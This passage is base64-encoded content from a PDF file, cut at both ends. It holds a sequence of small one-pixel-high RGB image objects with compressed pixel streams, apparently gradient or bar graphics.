aXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFj ZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODkKPj4Kc3Ry ZWFtCnjaAU4Asf//1925YGbFWmLEIzLTHC7bGivaIC3XIivZJC3dIi3lHyzpHy/qHSznHS3mHS3l HC7aEyjZFC/ZGzW9Ey60GDCsJzqUMj/JoZ//7un48+1hfSPyCmVuZHN0cmVhbQplbmRvYmoKMzQ4 IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9E ZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MAo+PgpzdHJlYW0K eNoBRQC6//fr6/rq7btjb9lUacYoQdkWOOMRNOMNMeQMM84FKccDJ8EHLKkAIaUCIZ0CIYUDG3kJ H4osPMuFkMKJkOCzuNW4uvTq6YtbIQEKZW5kc3RyZWFtCmVuZG9iagozNDkgMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAyNwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv RmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDkyCj4+CnN0cmVhbQp42gFRAK7/++3Q/e7H 27Vg67NC454c+KET/p8N/JwJ+54F/KcQ/KQO/KcQ+acT+acV/KoY+KIR+KIR850M7JwJ6Z0L2JAI 0ZAa0ZpK7MCD38Gb//Td+fbtFOkycQplbmRzdHJlYW0KZW5kb2JqCjM1MCAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDI0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9G aWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODMKPj4Kc3RyZWFtCnjaAUgAt//+/O3998f/ 9azgvF71si/9sSD8qxH+qwf7pQTvlgDwlAPjgQDlfQTYaQDQWgDNWRDEUxm9VSK8a03SkX3Bl4vV zsjr8Ozo8vF76iv8CmVuZHN0cmVhbQplbmRvYmoKMzUxIDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg NTUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCAxNzYKPj4Kc3RyZWFtCnjaAaUAWv/s8v/U2vDT2fmrstyosuV9 h8JYZq1VZrZBU6k/U6w4TrE3ULUxVLolVbsrXMUpXMUuWM4zV9I7WdtLY+tPYelSZOxTZeVTYtdX aNBWa8ZyitByi85zkslzk8JylMFwkr9wkcRxkMlzkNJzj9lzi+VviORuiOVnh9xlh95VetJRctlS c95GZNJGZNI2U7lRaclUa7txhbqpu+Gsu9ywusa0ubzW29dBy162CmVuZHN0cmVhbQplbmRvYmoK MzUyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNl IC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3OAo+PgpzdHJl YW0KeNp7/u+dZpelxDRtgUVqbCvkOVYpsK2QAyKWpdJsS2SY50swTBZmmijK0MLP3CTIVCTAkMDG HM3LFyKRMCsjdWb24ScnT90/BwD8txbkCmVuZHN0cmVhbQplbmRvYmoKMzUzIDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggMjgKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA5NQo+PgpzdHJlYW0KeNoBVACr///97e3P xP/GwbNMT81ASckhMOAbL+cXLe8aMO8aLu4eLuwgLOkhLOooMeQiK+QiK+giMekiNeQdMtwaMtcd NdomP88rQ6cfM91tfcd3gvTa3fDc3SEmKg8KZW5kc3RyZWFtCmVuZG9iagozNTQgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAzMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgog ICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEwNAo+PgpzdHJlYW0KeNoBXQCi/+Xy +uLx/3GCtkZZm0NYqUVZuEJYxUFa0EFc3UBc4UFf5T9g5UBj4UFl3z5m2D1o0T1o0D1o0D5o1j5o 2Dxn2Dxj2D9i2EJl2UZj2Ehgzj9Vu0JVs4KQ14KRzOj1/yyoMekKZW5kc3RyZWFtCmVuZG9iagoz NTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDkyCj4+CnN0cmVh bQp42gFRAK7/3ej62uj/VGWbUGOySWPCR2TKRGXORGbRQWjRPmfRPGHLPmDMOFrIOVnKM1DGLkvA MEy6K0uwL02tL06rLUmcL0qPZny1v87lxs3V7vP28vPu1KEr6wplbmRzdHJlYW0KZW5kb2JqCjM1 NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODkKPj4Kc3RyZWFt CnjaAU4Asf//7ezXp6ffoaKkLTO3Iy/GIC7THi/XHC3aHi3fGizoGi7pGi7oGi7lGi3kGy3kGSzh Fy3fFzHeGDPPEjDMFTO/GDKvHzjCW2z/097/3uK0IyR+CmVuZHN0cmVhbQplbmRvYmoKMzU3IDAg b2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJD b21wb25lbnQgOAogICAvV2lkdGggMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExCj4+CnN0cmVhbQp42nv3 /ycABcQC5wplbmRzdHJlYW0KZW5kb2JqCjM1OCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIyCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggNzcKPj4Kc3RyZWFtCnjaAUIAvf/84N//3d+9Tl/ZQVrNID7ZEzfeEDbc CzLZDDPEBy25ByuwCy2aBSKXByKPCyN4DSFsFCSQRlPaqa/TrK/ixcfZyckRHR6tCmVuZHN0cmVh bQplbmRvYmoKMzU5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjgKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA5 NQo+PgpzdHJlYW0KeNoBVACr//z97f/+6de+hui6bNecPvGiLPmhHPSaEPiZB/6hCP6kCP2kCPum C/qnDf+tEfmkCfmkCfOeBfKcCfGcC9+OAdyQCdaRGuqxStywZf/wwP/x1//57eHBNQkKZW5kc3Ry ZWFtCmVuZG9iagozNjAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMgogICAvSGVpZ2h0IDEKICAg L0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3Ro IDc3Cj4+CnN0cmVhbQp42gFCAL3///np//Sy//SS4blA87Ig+rEW+6sM/6kH/5wB8YwA8ooH43YA 43QI0WMBwFsLuV0crFsmpVwztIRuzqibwKum3tzfY5smcAplbmRzdHJlYW0KZW5kb2JqCjM2MSAw IG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVy Q29tcG9uZW50IDgKICAgL1dpZHRoIDUyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTY3Cj4+CnN0cmVhbQp4 2gGcAGP/29zx2tv3ur3cmKDFl6DLdoKydYO0VmedPlKNOlOVNValLlGlLU+oM0+yNk+2P1bASFjJ SlfKS1jLS1bKU2PSY3TeYnbZYXrUYHvUZYTXaI3bZ47baZLiaJLoaJHpaJDvaJDyZIn0XYPyXYL1 UnnwU3fxTnLqPmDOQGDFRGG/R2G4QVWah5fSipnEk56yt7/Kur/F5uni6Ojc9PLlkRJaaQplbmRz dHJlYW0KZW5kb2JqCjM2MiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggNzgKPj4Kc3RyZWFtCnjae/7vnWaXpcQ0bYFFamwr5NlXyrOtkAMilqXSbEtkmOdLMEwWZpoo ytDCz9wkyFwowJDAxhzNyxcikTArI2VG1uEnJ0/dPwcA/AEW3gplbmRzdHJlYW0KZW5kb2JqCjM2 MyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI4CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggOTUKPj4Kc3RyZWFt CnjaAVQAq//89ev/7eisZmjHWWK1KzrWIDflGTTrFTHqFi/sHjLrIDPrIS/pISzuJjHsJzHqJjLq JzXWEyPqJjroJj7aGjPWHDTOIDu+HDOwIjr/orP6prX/0drtvykGCmVuZHN0cmVhbQplbmRvYmoK MzY0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExCj4+CnN0cmVh bQp42nv3/ycABcQC5wplbmRzdHJlYW0KZW5kb2JqCjM2NSAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDMyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggMTA3Cj4+CnN0cmVhbQp42gFgAJ//3Of/l6TQlKLfRlahRVSv QFK2RlvOQ1vVQ1zaQV3aNlbPOl3TOV7QQWrUOmXOO2TQQ2zeQ2ziO2TYO2XVPmTRQ2jTRWfSRGTL PV3CQFy/SF+/Sl+8VWnArLz4sb7h6vb/huIzhQplbmRzdHJlYW0KZW5kb2JqCjM2NiAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp78fHd6w9v ABNwBY8KZW5kc3RyZWFtCmVuZG9iagozNjcgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAg IC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNgogICAv SGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29k ZQogICAvTGVuZ3RoIDg5Cj4+CnN0cmVhbQp42gFOALH/3+v73Or/WWqgVWi1SmTDSWbMRmfQR2nU RGvUQWjRO2HMPV/NOFjHOFjJNE7FMUvCMUy9LkuxLUmqLUqmKUOXLESMaX63xdHpydLZ7vb4ZEsp XQplbmRzdHJlYW0KZW5kb2JqCjM2OCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1 YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI3CiAgIC9IZWln aHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAg IC9MZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv/87eb/7OXflZT1i4+wLji9FyvJESnjJz/qJD/V CyPZDSbYDSPxJjzwJjzhFy3hGjHgGjPdGDPbFjTbFjTLDC3EDzDCI0PTTWa6WWr/0tjy3dqSAyeV CmVuZHN0cmVhbQplbmRvYmoKMzY5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjQKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCA4Mwo+PgpzdHJlYW0KeNoBSAC3//Hu5fbs4//s68qHjteBirkvRssmRNYhQtIQNdIQ NccFKsAILKwIKp8GJZUKJ4gOJ4QQJ2wCFr1qerJwfrqFj+rKz+XMz/7u7nurJSsKZW5kc3RyZWFt CmVuZG9iagozNzAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzMAogICAvSGVpZ2h0IDEKICAgL0Nv bG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEw MQo+PgpzdHJlYW0KeNoBWgCl//7/7f3v0v/sw+y/iNmZP+KZKt6THOSRDe6YB++bBfCbAvShA/Sh A/WjAvikBPqjBPijCPmeEfmdFPSaEPKbDumZBt2YD9KYKuS2aNe3hvngwf/85Pz+6f7/7SUeOc0K ZW5kc3RyZWFtCmVuZG9iagozNzEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMTYKPj4Kc3RyZWFtCnja+/rv5Vcg+v8aACsVCJgKZW5kc3RyZWFtCmVuZG9iagozNzIg MCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1Bl ckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rl dmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc3Cj4+CnN0cmVhbQp4 2gFCAL3///fu/vXY9NZ+/9db5rMk97cZ+7YT7qAA9ZwC7YUA5XcA6HQD1GAAz2AGuFIAtGUipmky uIlbsYtkvKqU3dHF19LOaHYmzgplbmRzdHJlYW0KZW5kb2JqCjM3MyAwIG9iago8PCAKICAgL1R5 cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAg L1dpZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRl ciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNr7/u8dAAXSAuQKZW5kc3Ry ZWFtCmVuZG9iagozNzQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0NAogICAvSGVpZ2h0IDEKICAg L0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3Ro IDE0Mwo+PgpzdHJlYW0KeNoBhAB7/+3x/Ovy/Nzl7tvl7sfU3bfH1LbG3aSz2p6t2J6s25Sg0JWg zouWxIePwIiOwoaNwYSNxISPzYOT0X6T1nyY4XuZ4myN3FmC1FaD1l2L4V6P612Q61qN6FqN6FaJ 5U1+5E577j9n6kNl7UJi6UVhzkljuj1UmkBUj4ybuqizx6u0vd3f3tWsVZAKZW5kc3RyZWFtCmVu ZG9iagozNzUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc3Cj4+ CnN0cmVhbQp42nv+741Wj6XkdB2BRWrsKxXYVsixLJMBoaXSbEtkWBdKMUwVZpksztAuyNIizJjP w5DAxhzNyxssHjMtJWFK2tFnp888vAAA/BwW1wplbmRzdHJlYW0KZW5kb2JqCjM3NiAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDI5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggOTUKPj4Kc3RyZWFtCnja+3f9xv+z V6/kVa8X0z7Iq/FI1vKJnOUdab3rYuo3xdQeyeo9ltcFIQUDIHqiaPhE3vCpgslDGYNHMqZ3pM2u y5hfkLfcp2KzXd3usFvE/xOXP126/v/tewAHnSnRCmVuZHN0cmVhbQplbmRvYmoKMzc3IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVhbQp42nv9/+/b //8AFDoF0gplbmRzdHJlYW0KZW5kb2JqCjM3OCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDMzCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggMTEwCj4+CnN0cmVhbQp42gFjAJz/1+Dv1d7/d3+wc36+R1WgRFWvQVW4 SmHJSWHNM1G/OVnIOFrIRGrXNVvKNVrMPGTdPWPeQGjiP2fYP2jSPWfNP2bLQ2nKSGvPSWrRRWHO RGDLPFS+UmnHVWq7ssX/6vr/6/v/L7k14AplbmRzdHJlYW0KZW5kb2JqCjM3OSAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDI2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODkKPj4Kc3RyZWFtCnjaAU4Asf/f6/vc 6v9Zap5SaLRJY8JJZspGZ9BHadREa9RCaNM9Ys0/Yc83Wcc4WMkyT8cvTMIxTL8uSbIuR6svR6ct QZgwQoxre7fC0ejH0tjt9/hj/ildCmVuZHN0cmVhbQplbmRvYmoKMzgwIDAgb2JqCjw8IAogICAv VHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAog ICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0Zp bHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4Ngo+PgpzdHJlYW0KeNoBSwC0//Xc1//T07Jh Z54fMK0YLL4gN8saNskRK84QKtINKeIaNOQcNuAYMtwcM9ocNdASK9sYNtsYNtUQLtYOMt4aQL0L LagVL/+YpeemqhM/IOUKZW5kc3RyZWFtCmVuZG9iagozODEgMCBvYmoKPDwgCiAgIC9UeXBlIC9Y T2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0 aCAyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggMTQKPj4Kc3RyZWFtCnjae/nv57v//wEUHQXNCmVuZHN0cmVh bQplbmRvYmoKMzgyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4 MAo+PgpzdHJlYW0KeNoBRQC6//3r6f/o5//b4bBLWb5FVr4iOscdOtAdPcAIKroLLLEGJqkKKpQP LIQMJ3wQJ2YJG2EKGo9DUMqVn8KZocmprvDg4ezi4blCIesKZW5kc3RyZWFtCmVuZG9iagozODMg MCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1Bl ckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzMAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rl dmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEwMQo+PgpzdHJlYW0K eNoBWgCl///46fjawtmsceGtWsiRNs+QJtWPE+OaF+abDu2dCO2dCPKeB/ihBPihBPqhCfqcFPqc GPiaFPibD/SbAeuaA+ObFducMtGdSvnMi//2w//5z//81v794f/97sSEOawKZW5kc3RyZWFtCmVu ZG9iagozODQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTgKPj4K c3RyZWFtCnja+/bv+ff/r77/ewMAKyoInQplbmRzdHJlYW0KZW5kb2JqCjM4NSAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODAKPj4Kc3RyZWFtCnjaAUUAuv//9tz/ 9tL/5qzuvE33vDDurxT0rg73rQ7nlgDtkgbjeQPZagDXaQrEWga8WxSsWBquekqff1i4qIa0q47H yrnk597i5+Hn+ynKCmVuZHN0cmVhbQplbmRvYmoKMzg2IDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg MzkKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCAxMjgKPj4Kc3RyZWFtCnjaAXUAiv/w9ujp8eTp7+vY2ubU0+HU 0+HLytLLys/CwMG7uri6urq1triyt72stMentdCitd2fufSdufhlhc5RedBOedVXheNXiehViuhT iuVRiuNSjOBCedRDduM2YeM6Xuo+XudDYMZIYq9HXZdLXYucqLbGzdPJzsqf/03gCmVuZHN0cmVh bQplbmRvYmoKMzg3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3 OAo+PgpzdHJlYW0KeNp7/u+NRpe5+FQt/oWqrMvl2FfKsy6XBSKWpdJsS2RYFkgyTBFhniTG0CbA 3CzEVMDPkMTBGsvPEyQSPTU5fnLqkaenTj84DwD4HBa+CmVuZHN0cmVhbQplbmRvYmoKMzg4IDAg b2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJD b21wb25lbnQgOAogICAvV2lkdGggMzAKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZp Y2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA5OQo+PgpzdHJlYW0KeNr7 /+rNp90HZ+rarlWxOKxue1zV5qCYxjlZ/YsyuldldG7I6ALRXRn9B9L6j6QNnskYAdETWaPHckb3 5IxvyZtckzc9L292RsHihIrNYUO3NTY+/49d+f/8/f/X7wAxJSooCmVuZHN0cmVhbQplbmRvYmoK Mzg5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVh bQp42nv+/dW7/18AE6cFqgplbmRzdHJlYW0KZW5kb2JqCjM5MCAwIG9iago8PCAKICAgL1R5cGUg L1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dp ZHRoIDMyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIg 